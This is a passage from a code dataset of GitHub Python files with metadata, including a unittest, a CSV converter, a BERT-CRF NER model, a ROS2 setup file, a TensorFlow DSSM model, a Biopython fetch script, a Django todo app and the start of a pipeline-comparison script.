"modelscope.utils.file_utils.read_file", "line_number": 340, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 342, "usage_type": "call"}]} +{"seq_id": "33883928302", "text": "from unittest import TestCase\n\nfrom piper.filter_piper import FilterPiper\n\n\nclass FakeData:\n data = {\"a\": {\"b\": \"1\"}}\n\n\nclass FilterPiperTestCase(TestCase):\n def testProcess(self):\n _piper = FilterPiper()\n _piper.setMetaInfo({\n \"filter_key\": \"a.b\",\n \"filter_value\": \"1\"\n })\n\n _fake_data = FakeData()\n _data = _fake_data.data\n _piper.process(_fake_data)\n\n self.assertEqual(_fake_data.data, _data)\n \n _piper.setMetaInfo({\n \"filter_value\": \"2\",\n \"filter_key\": \"a.b\"\n })\n _piper.process(_fake_data)\n self.assertFalse(_fake_data.data)\n \n \n", "repo_name": "lipopo/piper", "sub_path": "test/filter_piper_test.py", "file_name": "filter_piper_test.py", "file_ext": "py", "file_size_in_byte": 682, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "unittest.TestCase", "line_number": 10, "usage_type": "name"}, {"api_name": "piper.filter_piper.FilterPiper", "line_number": 12, "usage_type": "call"}]} +{"seq_id": "25385308975", "text": "#!/usr/bin/env python3\n#\n# Creates a CSV file for the concept_sets Iniz given an input CSV file for the concepts domain\n#\n# Assumptions: the input file is a CSV file for the concepts domain, where\n# 1) the first row in the file is the concept set\n# 2) all other rows with the Void/Retire set to false (or empty) should added the new output file as members of the top-level set\n# 3) all rows with the Void/Retire set to true, should be added to the output file but with Void/Retired set to true (so they are removed from the set)\n#\n#\n# Output:\n# * A standard concept_sets.csv with the \"Concept\", \"Member\", \"Member Type\", \"Sort Weight\" and \"Void/Retired\" column,\n# and with an additional \"comment\" column with the first fully-specified name comment found in the input file\n# Note that, currently, the referneces in \"Concept\" and \"Member\" are by uuid\n#\n\nimport argparse\nimport csv\n\nDESCRIPTION = \"\"\"\nA program creating an Iniz concept set csv based on a concept csv\n\"\"\"\n\ndef set_globals(\n infile: str,\n outfile: str\n):\n \"\"\"\n Initializes the global variables used in this script.\n Defaults are as described in `concept_set_csv_creator.py --help`.\n \"\"\"\n global INFILE, OUTFILE\n INFILE = infile\n\n if outfile:\n OUTFILE = outfile\n else:\n OUTFILE = \"output.csv\"\n\ndef main(\n infile: str,\n outfile: str\n):\n set_globals(\n infile=infile,\n outfile=outfile\n )\n\n # load in file\n concepts = []\n with open(INFILE) as concept_file:\n concepts = list(csv.DictReader(concept_file, dialect='excel'))\n\n # grab the set concept uuid\n concept_set_uuid = concepts[0]['uuid']\n\n # set get the names to publish\n names = []\n for key in concepts[0].keys():\n if \"Fully specified name:\" in key:\n names.append(key)\n\n # chop off the first row (which defines the set)\n concepts.pop(0)\n\n # create the output file\n with open(OUTFILE, 'w') as concept_set_file:\n fieldnames = ['Concept', 'Member'] + list(map(lambda name: '#' + name, names)) \\\n + ['Member Type','Sort Weight','Void/Retire']\n writer = csv.DictWriter(concept_set_file, fieldnames=fieldnames)\n writer.writeheader()\n for idx, concept in enumerate(concepts):\n set_member = dict({'Concept': concept_set_uuid, 'Member': concept['uuid'], 'Member Type': 'CONCEPT-SET',\n 'Sort Weight': idx+1, 'Void/Retire': concept['Void/Retire']})\n for name in names:\n set_member['#' + name] = concept[name]\n writer.writerow(set_member)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=DESCRIPTION)\n parser.add_argument(\n \"infile\",\n help=\"The psth of input concepts CSV file\",\n )\n parser.add_argument(\n \"-o\",\n \"--outfile\",\n help=\"The path of the CSV file to write.\"\n )\n\n args = parser.parse_args()\n\n main(\n infile=args.infile,\n outfile=args.outfile\n )\n", "repo_name": "PIH/iniz-exporters", "sub_path": "util/src/concept_set_csv_creator.py", "file_name": "concept_set_csv_creator.py", "file_ext": "py", "file_size_in_byte": 3022, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "86", "api": [{"api_name": "csv.DictReader", "line_number": 52, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 70, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 81, "usage_type": "call"}]} +{"seq_id": "23466505183", "text": "import torch.nn as nn\r\nfrom net.crf import CRF\r\nimport numpy as np\r\nfrom sklearn.metrics import f1_score, classification_report\r\nimport config.args as args\r\nfrom pytorch_pretrained_bert.modeling import BertPreTrainedModel, BertModel\r\n\r\n\r\nclass Bert_CRF(BertPreTrainedModel):\r\n def __init__(self,\r\n config,\r\n num_tag):\r\n super(Bert_CRF, self).__init__(config)\r\n self.bert = BertModel(config)\r\n # for p in self.bert.parameters():\r\n # p.requires_grad = False\r\n self.dropout = nn.Dropout(config.hidden_dropout_prob)\r\n self.classifier = nn.Linear(config.hidden_size, num_tag)\r\n self.apply(self.init_bert_weights)\r\n\r\n self.crf = CRF(num_tag)\r\n\r\n def forward(self,\r\n input_ids,\r\n token_type_ids,\r\n attention_mask,\r\n label_id=None,\r\n output_all_encoded_layers=False):\r\n bert_encode, _ = self.bert(input_ids, token_type_ids, attention_mask,\r\n output_all_encoded_layers=output_all_encoded_layers)\r\n output = self.classifier(bert_encode)\r\n return output\r\n\r\n def loss_fn(self, bert_encode, output_mask, tags):\r\n loss = self.crf.negative_log_loss(bert_encode, output_mask, tags)\r\n return loss\r\n\r\n def predict(self, bert_encode, output_mask):\r\n predicts = self.crf.get_batch_best_path(bert_encode, output_mask)\r\n predicts = predicts.view(1, -1).squeeze()\r\n predicts = predicts[predicts != -1]\r\n return predicts\r\n\r\n def acc_f1(self, y_pred, y_true):\r\n y_pred = y_pred.numpy()\r\n y_true = y_true.numpy()\r\n f1 = f1_score(y_true, y_pred, average=\"macro\")\r\n correct = np.sum((y_true==y_pred).astype(int))\r\n acc = correct/y_pred.shape[0]\r\n return acc, f1\r\n\r\n def class_report(self, y_pred, y_true):\r\n y_true = y_true.numpy()\r\n y_pred = y_pred.numpy()\r\n classify_report = classification_report(y_true, y_pred)\r\n print('\\n\\nclassify_report:\\n', classify_report)\r\n\r\n\r\n\r\n", "repo_name": "circlePi/Bert_Chinese_Ner_pytorch", "sub_path": "bert_ner/net/bert_ner.py", "file_name": "bert_ner.py", "file_ext": "py", "file_size_in_byte": 2100, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 174, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pytorch_pretrained_bert.modeling.BertPreTrainedModel", "line_number": 9, "usage_type": "name"}, {"api_name": "config.args", "line_number": 13, "usage_type": "argument"}, {"api_name": "pytorch_pretrained_bert.modeling.BertModel", "line_number": 14, "usage_type": "call"}, {"api_name": "config.args", "line_number": 14, "usage_type": "argument"}, {"api_name": "torch.nn.Dropout", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "config.args.hidden_dropout_prob", "line_number": 17, "usage_type": "attribute"}, {"api_name": "config.args", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "name"}, {"api_name": "config.args.hidden_size", "line_number": 18, "usage_type": "attribute"}, {"api_name": "config.args", "line_number": 18, "usage_type": "name"}, {"api_name": "net.crf.CRF", "line_number": 21, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 48, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 55, "usage_type": "call"}]} +{"seq_id": "74013062365", "text": "from setuptools import setup\n\npackage_name = 'led_control_python'\n\nsetup(\n name=package_name,\n version='0.0.0',\n packages=[package_name],\n data_files=[\n ('share/ament_index/resource_index/packages',\n ['resource/' + package_name]),\n ('share/' + package_name, ['package.xml']),\n ],\n install_requires=['setuptools'],\n zip_safe=True,\n maintainer='ubuntu',\n maintainer_email='starsbk7@gmail.com',\n description='TODO: Package description',\n license='TODO: License declaration',\n tests_require=['pytest'],\n entry_points={\n 'console_scripts': [\n 'led_control_server = led_control_python.led_control_server:main',\n 'led_control_client = led_control_python.led_control_client:main',\n ],\n },\n)\n", "repo_name": "KSeungBin/test_ros", "sub_path": "ros2/led_control_python/setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 786, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "setuptools.setup", "line_number": 5, "usage_type": "call"}]} +{"seq_id": "39145850702", "text": "# coding:utf-8\nimport random\nimport tensorflow as tf\nfrom tensorflow import feature_column as fc\nimport config\nFLAGS = config.FLAGS\n\n\ndef build_user_model(features, mode, params):\n user_net = []\n user_inputs = params[\"feature_configs\"].user_feature_columns\n with tf.variable_scope(\"user_side\", partitioner=tf.fixed_size_partitioner(len(FLAGS.ps_hosts.split(\",\")), axis=0)):\n for key, value in user_inputs.items():\n input_fea = fc.input_layer(features, value)\n user_net.append(input_fea)\n user_net = tf.concat(user_net, axis=1)\n for idx, units in enumerate(params[\"hidden_units\"]):\n user_net = tf.layers.dense(user_net, units=units, activation=tf.nn.leaky_relu, name=\"user_fc_layer_%s\"%idx)\n user_net = tf.nn.l2_normalize(user_net)\n return user_net\n\ndef build_item_model(features, mode, params):\n item_net = []\n item_inputs = params[\"feature_configs\"].item_feature_columns\n with tf.variable_scope(\"item_side\", partitioner=tf.fixed_size_partitioner(len(FLAGS.ps_hosts.split(\",\")), axis=0)):\n for key, value in item_inputs.items():\n input_fea = fc.input_layer(features, value)\n item_net.append(input_fea)\n item_net = tf.concat(item_net, axis=1)\n for idx, units in enumerate(params[\"hidden_units\"]):\n item_net = tf.layers.dense(item_net, units=units, activation=tf.nn.leaky_relu, name=\"item_fc_layer_%s\"%idx)\n item_net = tf.nn.l2_normalize(item_net)\n return item_net\n\ndef model_fn(features, labels, mode, params):\n # Predict\n if mode == tf.estimator.ModeKeys.PREDICT:\n if FLAGS.export_user_model:\n user_encoder = build_user_model(features, mode, params)\n predictions = {\"user_vector\": user_encoder}\n elif FLAGS.export_item_model:\n item_encoder = build_item_model(features, mode, params)\n predictions = {\"item_vector\": item_encoder}\n export_outputs = {\"predictions\": tf.estimator.export.PredictOutput(outputs=predictions)}\n return tf.estimator.EstimatorSpec(mode, predictions=predictions, export_outputs=export_outputs)\n\n user_encoder = build_user_model(features, mode, params)\n item_encoder = build_item_model(features, mode, params)\n\n # 随机采样负样本\n with tf.name_scope(\"rotate\"):\n tmp = tf.tile(item_encoder, [1, 1])\n item_encoder_fd = item_encoder\n for i in range(FLAGS.NEG):\n rand = tf.cast(((random.random() + i) * tf.cast(FLAGS.batch_size, tf.float32) / FLAGS.NEG), tf.int32)\n item_encoder_fd = tf.concat([item_encoder_fd,\n tf.slice(tmp, [rand, 0], [FLAGS.batch_size - rand, -1]),\n tf.slice(tmp, [0, 0], [rand, -1])], axis=0)\n user_norm = tf.tile(tf.sqrt(tf.reduce_sum(tf.square(user_encoder), axis=1, keepdims=True)),[FLAGS.NEG + 1, 1])\n item_norm = tf.sqrt(tf.reduce_sum(tf.square(item_encoder_fd), axis=1, keepdims=True))\n prod = tf.reduce_sum(tf.multiply(tf.tile(user_encoder, [FLAGS.NEG + 1, 1]), item_encoder_fd), axis=1,keepdims=True)\n norm_prod = tf.multiply(user_norm, item_norm)\n cos_sim_raw = tf.truediv(prod, norm_prod)\n cos_sim = tf.transpose(tf.reshape(tf.transpose(cos_sim_raw), [FLAGS.NEG + 1, -1])) * 20\n\n # 最大化正样本概率\n with tf.name_scope(\"loss\"):\n prob = tf.nn.softmax(cos_sim)\n hit_prob = tf.slice(prob, [0, 0], [-1, 1])\n loss = -tf.reduce_mean(tf.log(hit_prob))\n correct_prediction = tf.cast(tf.equal(tf.argmax(prob, 1), 0), tf.float32)\n accuracy = tf.reduce_mean(correct_prediction)\n\n # Eval\n if mode == tf.estimator.ModeKeys.EVAL:\n return tf.estimator.EstimatorSpec(mode, loss=loss, eval_metric_ops={})\n\n # Train\n if mode == tf.estimator.ModeKeys.TRAIN:\n global_step = tf.train.get_global_step()\n learning_rate = tf.train.exponential_decay(params[\"learning_rate\"], global_step, 100000, 0.9, staircase=True)\n train_op = (tf.train.AdagradOptimizer(learning_rate).minimize(loss, global_step=global_step))\n return tf.estimator.EstimatorSpec(mode, loss=loss, train_op=train_op)\n", "repo_name": "cdj0311/mvdssm", "sub_path": "model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 4203, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "86", "api": [{"api_name": "config.FLAGS", "line_number": 6, "usage_type": "attribute"}, {"api_name": "tensorflow.variable_scope", "line_number": 12, "usage_type": "call"}, {"api_name": "tensorflow.fixed_size_partitioner", "line_number": 12, "usage_type": "call"}, {"api_name": "tensorflow.feature_column.input_layer", "line_number": 14, "usage_type": "call"}, {"api_name": "tensorflow.feature_column", "line_number": 14, "usage_type": "name"}, {"api_name": "tensorflow.concat", "line_number": 16, "usage_type": "call"}, {"api_name": "tensorflow.layers.dense", "line_number": 18, "usage_type": "call"}, {"api_name": "tensorflow.layers", "line_number": 18, "usage_type": "attribute"}, {"api_name": "tensorflow.nn", "line_number": 18, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.l2_normalize", "line_number": 19, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 19, "usage_type": "attribute"}, {"api_name": "tensorflow.variable_scope", "line_number": 25, "usage_type": "call"}, {"api_name": "tensorflow.fixed_size_partitioner", "line_number": 25, "usage_type": "call"}, {"api_name": "tensorflow.feature_column.input_layer", "line_number": 27, "usage_type": "call"}, {"api_name": "tensorflow.feature_column", "line_number": 27, "usage_type": "name"}, {"api_name": "tensorflow.concat", "line_number": 29, "usage_type": "call"}, {"api_name": "tensorflow.layers.dense", "line_number": 31, "usage_type": "call"}, {"api_name": "tensorflow.layers", "line_number": 31, "usage_type": "attribute"}, {"api_name": "tensorflow.nn", "line_number": 31, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.l2_normalize", "line_number": 32, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 32, "usage_type": "attribute"}, {"api_name": "tensorflow.estimator", "line_number": 37, "usage_type": "attribute"}, {"api_name": "tensorflow.estimator.export.PredictOutput", "line_number": 44, "usage_type": "call"}, {"api_name": "tensorflow.estimator", "line_number": 44, "usage_type": "attribute"}, {"api_name": "tensorflow.estimator.EstimatorSpec", "line_number": 45, "usage_type": "call"}, {"api_name": "tensorflow.estimator", "line_number": 45, "usage_type": "attribute"}, {"api_name": "tensorflow.name_scope", "line_number": 51, "usage_type": "call"}, {"api_name": "tensorflow.tile", "line_number": 52, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 55, "usage_type": "call"}, {"api_name": "random.random", "line_number": 55, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 55, "usage_type": "attribute"}, {"api_name": "tensorflow.int32", "line_number": 55, "usage_type": "attribute"}, {"api_name": "tensorflow.concat", "line_number": 56, "usage_type": "call"}, {"api_name": "tensorflow.slice", "line_number": 57, "usage_type": "call"}, {"api_name": "tensorflow.slice", "line_number": 58, "usage_type": "call"}, {"api_name": "tensorflow.tile", "line_number": 59, "usage_type": "call"}, {"api_name": "tensorflow.sqrt", "line_number": 59, "usage_type": "call"}, {"api_name": "tensorflow.reduce_sum", "line_number": 59, "usage_type": "call"}, {"api_name": "tensorflow.square", "line_number": 59, "usage_type": "call"}, {"api_name": "tensorflow.sqrt", "line_number": 60, "usage_type": "call"}, {"api_name": "tensorflow.reduce_sum", "line_number": 60, "usage_type": "call"}, {"api_name": "tensorflow.square", "line_number": 60, "usage_type": "call"}, {"api_name": "tensorflow.reduce_sum", "line_number": 61, "usage_type": "call"}, {"api_name": "tensorflow.multiply", "line_number": 61, "usage_type": "call"}, {"api_name": "tensorflow.tile", "line_number": 61, "usage_type": "call"}, {"api_name": "tensorflow.multiply", "line_number": 62, "usage_type": "call"}, {"api_name": "tensorflow.truediv", "line_number": 63, "usage_type": "call"}, {"api_name": "tensorflow.transpose", "line_number": 64, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 64, "usage_type": "call"}, {"api_name": "tensorflow.name_scope", "line_number": 67, "usage_type": "call"}, {"api_name": "tensorflow.nn.softmax", "line_number": 68, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 68, "usage_type": "attribute"}, {"api_name": "tensorflow.slice", "line_number": 69, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 70, "usage_type": "call"}, {"api_name": "tensorflow.log", "line_number": 70, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 71, "usage_type": "call"}, {"api_name": "tensorflow.equal", "line_number": 71, "usage_type": "call"}, {"api_name": "tensorflow.argmax", "line_number": 71, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 71, "usage_type": "attribute"}, {"api_name": "tensorflow.reduce_mean", "line_number": 72, "usage_type": "call"}, {"api_name": "tensorflow.estimator", "line_number": 75, "usage_type": "attribute"}, {"api_name": "tensorflow.estimator.EstimatorSpec", "line_number": 76, "usage_type": "call"}, {"api_name": "tensorflow.estimator", "line_number": 76, "usage_type": "attribute"}, {"api_name": "tensorflow.estimator", "line_number": 79, "usage_type": "attribute"}, {"api_name": "tensorflow.train.get_global_step", "line_number": 80, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 80, "usage_type": "attribute"}, {"api_name": "tensorflow.train.exponential_decay", "line_number": 81, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 81, "usage_type": "attribute"}, {"api_name": "tensorflow.train.AdagradOptimizer", "line_number": 82, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 82, "usage_type": "attribute"}, {"api_name": "tensorflow.estimator.EstimatorSpec", "line_number": 83, "usage_type": "call"}, {"api_name": "tensorflow.estimator", "line_number": 83, "usage_type": "attribute"}]} +{"seq_id": "6390159110", "text": "from Bio import Entrez\r\nfrom urllib.error import HTTPError\r\n\r\nw= open(r\"/Users/User pc/Desktop/records.txt\", \"w\")\r\nEntrez.email = \"james@perdanauniversity.edu.my\" # Always tell NCBI who you are (by providing you email address)\r\nwith open(r\"/Users/User pc/Desktop/Vid.txt\", \"r\") as f:\r\n\tfor record in f:\r\n\t\t#f.readlines()\r\n\t\thandle = Entrez.efetch(db=\"protein\", id=record, rettype=\"gb\", retmode=\"text\")\r\n\t\t#print(handle.read())\r\n\t\tw.write(handle.read())\r\n\tw.write(\"\\n\")\t\t\t\t\t ", "repo_name": "gwatiyapJ/SiMiLyG", "sub_path": "biopython_entrezEsearch.py", "file_name": "biopython_entrezEsearch.py", "file_ext": "py", "file_size_in_byte": 478, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "Bio.Entrez.email", "line_number": 5, "usage_type": "attribute"}, {"api_name": "Bio.Entrez", "line_number": 5, "usage_type": "name"}, {"api_name": "Bio.Entrez.efetch", "line_number": 9, "usage_type": "call"}, {"api_name": "Bio.Entrez", "line_number": 9, "usage_type": "name"}]} +{"seq_id": "24917727788", "text": "from django.shortcuts import render, redirect\nfrom django.contrib.auth import get_user_model\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate, login, logout\nfrom .models import Task\nfrom django.contrib.auth.decorators import login_required\nfrom .forms import TaskForm\nfrom datetime import date\n\nUser = get_user_model()\n\ndef index(request):\n if request.user.is_authenticated:\n task_count = request.user.task_set.filter(due_date=date.today(), completed=False).count()\n context = {\n 'task_count': task_count\n }\n return render(request, 'index.html', context)\n return render(request, 'index.html')\n\ndef register(request):\n if request.user.is_authenticated is True:\n return redirect(request.META['HTTP_REFERER'])\n if request.method == 'POST':\n username = request.POST['username']\n full_name = request.POST['full_name']\n password = request.POST['password']\n if User.objects.filter(username=username).exists() is True:\n messages.error(request, 'User with username already exists')\n return render(request, 'register.html')\n User.objects.create_user(username=username, password=password, full_name=full_name)\n user = authenticate(request, username=username, password=password)\n if user is not None:\n login(request, user)\n return redirect('index')\n return render(request, 'register.html')\n\ndef loginUser(request):\n if request.user.is_authenticated is True:\n return redirect(request.META['HTTP_REFERER'])\n if request.method == 'POST':\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(request, username=username, password=password)\n if user is not None:\n login(request, user)\n return redirect('index')\n messages.error(request, 'Invalid Credentials!!!')\n return render(request, 'login.html')\n\n@login_required(login_url='login')\ndef logoutUser(request):\n logout(request)\n messages.success(request, 'Logged out successful')\n return redirect('index')\n\n@login_required(login_url='login')\ndef todosList(request):\n todos = request.user.task_set.filter(completed=False).order_by('due_date')\n context = {\n 'todos': todos\n }\n return render(request, 'todos.html', context)\n\n@login_required(login_url='login')\ndef toggleComplete(request, pk):\n task = request.user.task_set.get(pk=pk)\n if task.completed:\n task.completed = False\n task.save()\n return redirect('completed')\n else:\n task.completed = True\n task.save()\n return redirect('view-todos')\n\n@login_required(login_url='login')\ndef completed(request):\n todos = request.user.task_set.filter(completed=True).order_by('due_date')\n context = {\n 'todos': todos\n }\n return render(request, 'completed.html', context)\n\n@login_required(login_url='login')\ndef detail(request, pk):\n todo = request.user.task_set.get(pk=pk)\n context = {\n 'todo': todo\n }\n return render(request, 'detail.html', context)\n\n@login_required(login_url='login')\ndef createTodo(request):\n form = TaskForm()\n if request.method == 'POST':\n form = TaskForm(request.POST)\n if form.is_valid():\n task = form.save(commit=False)\n task.user = request.user\n task.save()\n messages.success(request, 'Task added successfully')\n return redirect('view-todos')\n context = {\n 'form': form\n }\n return render(request, 'todo-form.html', context)\n\n@login_required(login_url='login')\ndef editTodo(request, pk):\n todo = request.user.task_set.get(pk=pk)\n form = TaskForm(instance=todo)\n if request.method == 'POST':\n form = TaskForm(instance=todo, data=request.POST)\n if form.is_valid():\n form.save()\n messages.success(request, 'Updated task successfully')\n return redirect(f'/todos/{todo.id}/')\n context = {\n 'form': form,\n 'todo': todo\n }\n return render(request, 'edit-todo.html', context)\n\n@login_required(login_url='login')\ndef deleteTodo(request, pk):\n todo = request.user.task_set.get(pk=pk)\n todo.delete()\n messages.success(request, 'Task delete successfully')\n return redirect('view-todos')", "repo_name": "asobosamuel/Django-Todo-App", "sub_path": "todoapp/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4369, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "django.contrib.auth.get_user_model", "line_number": 10, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 14, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 18, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 19, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 23, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 29, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 29, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 30, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 32, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 34, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 35, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 36, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 40, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 44, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 46, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 47, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 48, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 48, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 49, "usage_type": "call"}, {"api_name": "django.contrib.auth.logout", "line_number": 53, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 54, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 54, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 55, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 51, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 63, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 57, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 71, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 75, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 65, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 83, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 77, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 91, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 85, "usage_type": "call"}, {"api_name": "forms.TaskForm", "line_number": 95, "usage_type": "call"}, {"api_name": "forms.TaskForm", "line_number": 97, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 102, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 102, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 103, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 107, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 93, "usage_type": "call"}, {"api_name": "forms.TaskForm", "line_number": 112, "usage_type": "call"}, {"api_name": "forms.TaskForm", "line_number": 114, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 117, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 117, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 118, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 123, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 109, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 129, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 129, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 130, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 125, "usage_type": "call"}]} +{"seq_id": "12496765828", "text": "#!/usr/bin/env python\n\n# Author: Ben Langmead \n# License: MIT\n\n\"\"\"attempt_match\n\nUsage:\n attempt_match sweep \n attempt_match compare \n\nOptions:\n -h, --help Show this screen.\n --version Show version.\n\"\"\"\n\n\nfrom __future__ import print_function\nfrom docopt import docopt\nfrom toolbox import md5\nfrom collections import defaultdict\nimport os\nimport re\nimport sys\nimport tempfile\n\n\n\"\"\"\nTraverse a directory structure containing attempts from a recount-pump\nworkflow. For the files that should not differ from attempt to attempt, check\nwhether the attempts do indeed have matching files. Output a concise summary.\nOptionally prune away redundant attempts after matching. \n\"\"\"\n\n\ndef shorten(fn):\n return '.'.join(fn.split('.')[1:])\n\n\ndef compare(dir1, dir2, ignores=None):\n \"\"\"\n Compare the output files from two attempts for the same task\n \"\"\"\n if ignores is None:\n ignores = ['.*\\.log', '.*\\.json']\n good_summary = defaultdict(int)\n bad_summary = defaultdict(int)\n bad_list = []\n ignored = 0\n tups1 = list(os.walk(dir1))[0]\n tups2 = list(os.walk(dir2))[0]\n if not len(tups1[1]) == 0:\n raise ValueError('directory had unexpected subdirectories: \"%s\"' % dir1)\n if not len(tups2[1]) == 0:\n raise ValueError('directory had unexpected subdirectories: \"%s\"' % dir1)\n if len(tups1[2]) == 0:\n raise ValueError('directory had no files: \"%s\"' % dir1)\n if len(tups1[2]) != len(tups2[2]):\n raise ValueError('directories had different numbers of files: \"%s\" (%d), \"%s\" (%d)'\n % (dir1, len(tups1[2]), dir2, len(tups2[2])))\n for file in tups1[2]:\n full1 = os.path.join(dir1, file)\n full2 = os.path.join(dir2, file)\n if not os.path.exists(full2):\n raise ValueError('Directory 2 lacks file \"%s\" present in directory 1' % file)\n skip_outer = False\n for ignore in ignores:\n if re.compile(ignore).match(file):\n ignored += 1\n skip_outer = True\n break\n if skip_outer:\n continue\n md5_1, md5_2 = md5(full1), md5(full2)\n if md5_1 == md5_2:\n good_summary[shorten(file)] += 1\n else:\n bad_summary[shorten(file)] += 1\n bad_list.append((full1, full2, md5_1, md5_2))\n return good_summary, bad_summary, bad_list, ignored\n\n\ndef summarize_compare_result(good_summary, bad_summary, bad_list, ignored):\n st = 'good summary:\\n'\n for k, v in good_summary.items():\n st += ' %s: %d\\n' % (k, v)\n st += 'bad summary:\\n'\n for k, v in bad_summary.items():\n st += (' %s: %d\\n' % (k, v))\n if len(bad_list) > 0:\n st += 'bad list:\\n'\n for f1, f2, _, _ in bad_list: # ignore md5s\n st += (' %s, %s\\n' % (f1, f2))\n st += 'ignored: %d\\n' % ignored\n return st\n\n\ndef merge_add(x, y):\n return {k: x.get(k, 0) + y.get(k, 0) for k in set(x) | set(y)}\n\n\ndef sweep(basedir, ignores=None, quiet=True):\n attempt_re = re.compile('proj([\\d]+)_input([\\d]+)_attempt([\\d]+)')\n proj_inputs = {}\n attempts = set()\n good_summary, bad_summary, bad_list, ignored = {}, {}, [], 0\n for root, dirs, files in os.walk(basedir):\n # First, look for attempt directories\n for dr in dirs:\n full_dir = os.path.join(root, dr)\n assert os.path.exists(full_dir) and os.path.isdir(full_dir)\n ma = attempt_re.match(dr)\n if ma is not None:\n done_fn = os.path.join(root, dr + '.done')\n if not os.path.exists(done_fn):\n continue\n proj, inp, attempt = map(int, [ma.group(1), ma.group(2), 